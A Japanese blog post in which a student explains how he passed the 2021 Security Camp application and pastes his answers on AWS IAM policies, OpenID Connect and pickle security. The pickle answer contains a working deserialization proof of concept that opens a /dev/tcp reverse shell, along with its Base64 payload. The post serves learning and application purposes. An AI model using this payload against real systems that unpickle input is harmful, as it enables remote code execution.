セキュリティキャンプの課題をゼロ知識から攻略してみて受かった話について

どうも、2021年度セキュリティキャンプトラックBに合格したそにっ缶 ([Twitter](https://twitter.com/soniccan_))です。
今回はどうやって合格したかをメインに記事を話していきたいと思います。どうぞ

０、初めに
---------------------
この記事は

**SECCAMPの課題何言ってるかわからんけど
どうにか受かりたい！！**
という状態から戦略立ててやったらなんか
合格したっていう手段を示すものであり、
解答に対する議論をする記事ではありません。ご了承ください。今年一緒に受かった方は一緒に頑張りましょう〜！！


１、前提
-----------------------
**志願理由**
SECCAMPを受けた実績が欲しかった
AWS知りたい
脆弱性のあるプログラムを書いて怒られたくない


**現在のスキル**
1. 基本WEB開発している。
2. 学校でシェル作ったり、linuxコマンド作ったりした。
3. 課題回答に使った技術（AWS、OpenID,Pythonのpickle）について全く知らない状態で解答を始めた。

不安だったが、先人の初心者でも受かったというブログを見て、
なんとかしてやるぞいとなった。
その記事
https://ups.hatenablog.jp/entry/2018/08/19/参加者内最弱による、セキュリティキャンプ全国大

トラックBプロダクトセキュリティの課題を解いた。

２、受かるためのstrategy
-----------
まず、例年の人がどれくらいの文量で受かったのかリサーチ

僕が参考にした一つに１万字程度解答している例
https://pg-mana.net/blog/seccamp2017_2/

この投稿から
大事なのは正確さではなく
**俺はSECCAMPに行きたいんです**
と回答により、アピールすることであると推測。



**戦略決定**
技術以外の”気合い”で埋められるところはなるべくいっぱい書いて全て解答。その他技術的な内容でも調べて分かったところまでをちゃんと書く。

３、実践
--------
共通問題は講義でどの講座を学びたいかという問題
→”気合い”問題。いっぱい書く。

選択問題
専門的な内容もあるが、ググればでる。１問につき5時間くらいはリサーチした。AWSの回答は実際に使ってみんとわからん！みたいなレベルだったので、

調べたところまでをかく。



を徹底。

最後の問題も”気合い”問題なので、絶対かく。
２問だけ解答すれば良いが、”気合い”+他一つで受かる気はしなかったので
４問解答した。多分他の人もそれぐらいな気がする。

結局、大事なのは”気合い”です。




<details><summary>
**解答（雑にコピペしただけなので、こんぐらい書けば俺は受かったよってだけ見てください。**</summary><div>

問題文
https://www.ipa.go.jp/files/000090140.txt
↑Shift JIS

https://www.ipa.go.jp/files/000090141.txt
↑UTF−8
どっちかで開いてみてね


共通問題への回答

B2　つくって学ぶ、インターネットのアーキテクチャと運用
自分の中でサーバーがどのようにクエリに対して応答を行なっているかを勉強していく中で、サーバーサイドまでにたどるインターネット側の知識であるIPアドレス、ルーティング、DNSといった基礎知識に関してまだ理解していないことを自覚したので、この講義を受けてその理解を深めたい。
B3-1 B3-2 分散アーキテクチャ時代におけるWebシステムの開発と運用
自分はコンテナやサーバーレス、SaaSの使用した経験が少なく、本講義の講義とハッカソンを通じて分散アーキテクチャの運用について理解をし、自分の力にしたいと思った。

D4 セキュリティ情報を適切に伝えるためのライティング入門
自分がセキュリティに対する重要性を理解したのが大学３年次とかなり遅く、もっとその重要性を早く理解しておきたいと思ったので、正確にセキュリティの重大性を伝えられるようになりたいと思い、この講義を受けたいと思った。

B5 趣味と実益のための著名なOSSライブラリ起因の脆弱性の探求
今回の選択問題Eを通して、OSSライブラリ起因の脆弱性が存在している、また存在を容認した上で使用がされていることを知り、とても驚いた。他にどんな脆弱性がOSSライブラリに存在しているのかとても気になったためこの講義を受けたいと思った。

B4-1,B4-2　Digital ID Era: The important parts / デジタルアイデンティティ時代の重要部品 (仮)
デジタル社会の中で個性の没落が若者の中でとても問題であることは身近に感じており、この解決に対して自分が有効だと思える手段をうまく考え出せなかった経験があるので、本講義を通して、その思考をより深めたい。
選択問題Aの回答
**小問(1)**
（AWSで作ったこの設計の脆弱性答えてください。）
ec2-role-policy.jsonを見ると、IAM roleでpublic EC2にs3のputから始まる名前のアクションを行う権限を全てのソースに対して認可されている。putから始まる名前のアクションには
PutBucketPolicy(policyの変更)やPutAccountPublicAccessBlock（アクセス制御）などのデータをs3内の仕様や権限を変えるアクションも許可されている。さらに全てのリソースに対して行える設定である。これがpublic subset の中で許可されることで、ユーザーによるs3の権限の変更の攻撃やポリシー変更による妨害ができてしまう。

また、s3-bucket-polocy.jsonのPrincipal要素にワイルドカードが与えられている。これにより、誰もがこのroleを引き継げる状態になり、不特定なユーザーがroleを取得し、商品画像のs3のput*get*アクションを行えるようになり、一つ目の例と同様に攻撃されてしまう。

**小問(2)**

改善策として、ワイルドカードを無闇に使わずフルネームで指定することまたNot Actionで禁止するアクションを指定することがあげられる。また、Resounceを指定することで不本意なアクセスを防ぐことができる。
IPアドレスによるアクセス制限を行うCondition エレメントなどでロールへのアクセス制御をするなどアクセス制御管理を行う必要がある。
選択問題Bの回答

小問(1)
現在のソーシャルログインでは、ユーザーIDを公開した状態での利用が主となっている。つまり認証に必要な情報はパスワードだけである。このパスワードを人は覚えるかまたはどこかに保存しておく必要がある。しかし、この双方にセキュリティ面で問題外ある。
パスワードを覚える場合、複数のサービス間で同じパスワードを使用する傾向がある。トレンドマイクロの調査では80%以上の人がパスワードを使い回しているという調査が出た。使い回してしまうと一度何かしらのサービスで情報が漏洩した場合、他のサービスでも認証を突破されてしまう危険性がある。
また、パスワードを何かしらの媒体に保存する場合はその情報を取得する際のセキュリティを担保する必要がある。近年では、端末が暗号を生成し、端末側でそのパスワードを保存する手法が出てきているが、それも端末のパスワードが流出していると取得できてしまう。このパスワードを保護する仕組みに関してより良い仕組みが作ることが課題であると思われる。
(2)
メリット
標準化された認証、認可技術は標準化されうるほどのセキュリティを担保している。OpenID Connectでは署名に RFC 7518 で定められたRS256というRSA暗号を用いた署名を行なっているため、セキュリティが担保されていると言える。
また、一つのアカウントを他サービスにも適応できるシングルサインオン機能の実現するためにOpen ID Connectは使われており会員登録途中のユーザーの離脱やID忘れなどを防げる安全な手法として注目されている。
デメリット
標準化された認証、認可技術を使うことで、ユーザーが意図しない情報を認可技術のクライアントが取得できる可能性があるのがデメリットとしてあげられる。ユーザーが開示したくない情報のアクセスを認可してしまい、情報漏洩に繋がってしまう可能性がある。
(3)
一つ目として、認証、認可を扱うシステムで機密性を担保しても最終的には人間側の管理が重要な要素であると感じた。
どの権限を認可するか、ユーザー認証に必要なパスワードはユーザーが決める必要があることはシステムの改善では変えることができないためユーザーの最低限の管理は必要であると感じた。
二つ目として、認証、認可システムをクライアントとして用いる際にシステム自体の理解の必要性を感じた。
解答していく際の調べ学習で、システムがOauth認可を認証技術として用いてしまって機密性が失われてしまうケースがあることや
認可したクライアントがどの情報を取得するかを把握できていないケースがあることを知った。
システムであるからとブラックボックスにしたままにせずシステムの理解が正しい認証、認可システムの利用につながると思った。
選択問題Cの回答

選択問題Dの回答

選択問題Eの回答
2021/05/28変更
(1)
pickleではオブジェクトに変換する際、どんなデータに対してもコンストラクタを起動をするため、そのコンストラクタに攻撃用のコードが埋め込まれていると実行してしまうから。
(2)
リバースシェルを確立させることのできるBase64文字列
gASVQQAAAAAAAACMAm9zlIwGc3lzdGVtlJOUjCkvYmluL3NoIDwvZGV2L3RjcC9sb2NhbGhvc3QvMTIzNCA-JjAgMj4mMJSFlFKULg==

文字列を生成するPoC（実証コード）

base64.urlsafe_b64encode()で出てくるバイト列をutf-8にデコードして文字列として出力させた。
#!/usr/bin/env python3
import base64
import os
import pickle

class GetShell(object):
    def __reduce__(self):
        return (os.system,('/bin/sh </dev/tcp/localhost/1234 >&0 2>&0',))

tmp= pickle.dumps(GetShell())
data = base64.urlsafe_b64encode(tmp)
print(data.decode('utf-8'))
選択問題Fの回答

セキュリティ分野の中で最も興味があること
自分が最も学びたいのは広く言うとWEBページでの攻撃対策手法に関してである。
興味を持ったきっかけ
近年の人の情報がIDに紐付けられていく個人ID化の時代の中でのWEBページでの攻撃対策の重要性は
昔から唱えられてきたものであるが,いまだに情報漏洩の問題は起こり続けている。この状況を解決してみたいと思ったのがきっかけでWEBページでの攻撃対策手法に興味を持った。
興味を持って実際に行った取り組み
まずセキュリティを理解する上で必要なのが暗号の仕組みの理解である。数学としてなぜrsa暗号が解きにくいのかを学校の授業を履修し学んだ。
次に自分が作るWEBページでセキュリティ対策として必要なSQLインジェクション対策やOSコマンドインジェクション対策について実装をしながら学んだ。
次に入力フォームに悪意のあるWebページへ誘導するスクリプトを入力し、WEBサイトへアクセスしたユーザーの情報を盗み取るクロスサイトスクリプティング攻撃について学んだ。
他にもWEBサイトを利用した攻撃はディレクトリ・トラバーサル攻撃,総当たり攻撃など様々な手法がる。この攻撃に対してはクラウドサービスを利用することで解決できることがあるが、そのセキュリティがどのように担保されているのかを知ることでより安全な開発ができると思っているためこれから勉強していきたい。

</div></details>